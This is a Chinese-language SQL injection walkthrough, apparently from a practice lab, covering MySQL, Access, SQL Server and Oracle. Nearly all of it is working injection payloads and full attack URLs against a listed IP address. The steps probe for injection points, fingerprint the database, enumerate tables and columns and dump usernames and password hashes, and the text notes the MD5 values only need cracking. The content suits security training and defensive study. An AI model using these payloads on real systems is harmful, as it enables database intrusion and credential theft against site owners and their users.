-1 union select 1,2,3,4
-1 union select 1,database(),group_concat(table_name),4 from information_schema.tables where table_schema=database()
列名:id,name,password,status
-1 union select 1,2,group_concat(column_name),4 from information_schema.columns where table_name='StormGroup_member'
字段内容
union select 1,2,group_concat(id,name,password,status),4 from mozhe_Discuz_StormGroup.StormGroup_member
结束md5值解一下就行了
access数据库注入
一般access数据库分两种注入(access数据库的注入基本是靠猜库名表名列名什么来注入的,所以我们先尝试一些常用的表名或者字段名)
还是4列,因为Access用联合语句显示可显字段时,必须要“from 表名”,所以需要先猜表名,无非就是admin,user,users,manger这些的。
Union select 1,2,3,4, from admin
查user,password,username,id,status等
发现存在username,passwd字段。
access数据库主要是靠猜
sqlserver注入
(1)order by
判断字段数量
结果:4
(2)sqlmap 爆数据库,表名,字段
结果:mozhe_db_v2 manage id,usrename,password
(3)获取用户名和密码,有两种方法
方法一:ASCII码比较
语句:and exists(select * from manage where ascii ( substring(字段名,起始位置,1) ) > N )
( PS : exists()函数是 通过判断里面的查询语句是否返回结果集 而得出bool值,我们将ASCII码判断语句放在where语句后面,作为 查询语句能否返回结果集 的条件)
方法二:union all
用union出错,改用union all 和mysql语法类似
语句:?id=-2 union all select null,username,password,null from manage
结果:页面直接爆出用户名和密码
Oracle注入
很多企业大多数用的是Oracle数据库,所以这里重点讲一下利用方式。
确定注入点
http://219.153.49.228:47018/new_list.php?id=1 and 1=1
http://219.153.49.228:47018/new_list.php?id=1 and 1=2
http://219.153.49.228:47018/new_list.php?id=1存在注入
确定数据库类型
利用各个数据库独有的数据库或者函数来判断
oracle:独有的虚拟表 dual (select count(*) from dual)<>0
http://219.153.49.228:47018/new_list.php?id=1 and (select count(*) from dual)%3c%3e0
确定注入参数类型
http://219.153.49.228:47018/new_list.php?id=1'
http://219.153.49.228:47018/new_list.php?id=1 and 1=1
http://219.153.49.228:47018/new_list.php?id=1 and 1=2
在url末尾加上’号 不正常显示
and 1=1 正常
and 1=2 不正常
因此是一个数字型注入
确定字段数
输入3页面不正常显示 输入2页面正常显示 因此字段数为2
http://219.153.49.228:47018/new_list.php?id=1 order by 2
确定注入证明类型
http://219.153.49.228:47018/new_list.php?id=1 union select '1','2' from dual
我这里直接进行尝试看联合注入是否可行,发现可行,如果不可行的话再换其他类型测试,例如布尔注入、延时注入、报错注入等
判断回显位置
上一条已经判断出回显位置
获取数据库名
http://219.153.49.228:47018/new_list.php?id=1 union select (select instance_name from v$instance),'2' from dual
获取表名
http://219.153.49.228:47018/new_list.php?id=1 union select (select table_name from all_tables where rownum=1 and table_name like '%user%'),'2' from dual
获取列名
http://219.153.49.228:47018/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users'),'2' from dual
http://219.153.49.228:47018/new_list.php?id=1 union select (select column_name from user_tab_columns where rownum=1 and table_name='sns_users' and column_name<>'user_name'),'2' from dual
获取关键字段具体内容
http://219.153.49.228:47018/new_list.php?id=1%20union%20select%20user_name,user_pwd%20from%20%22sns_users%22%20where%20user_name%3c%3e%27hu%27
总体来说手注加工具会让你有效率的去解决注入问题,而不是一直手注去死墙角,也不能一直工具,事物都有两面性。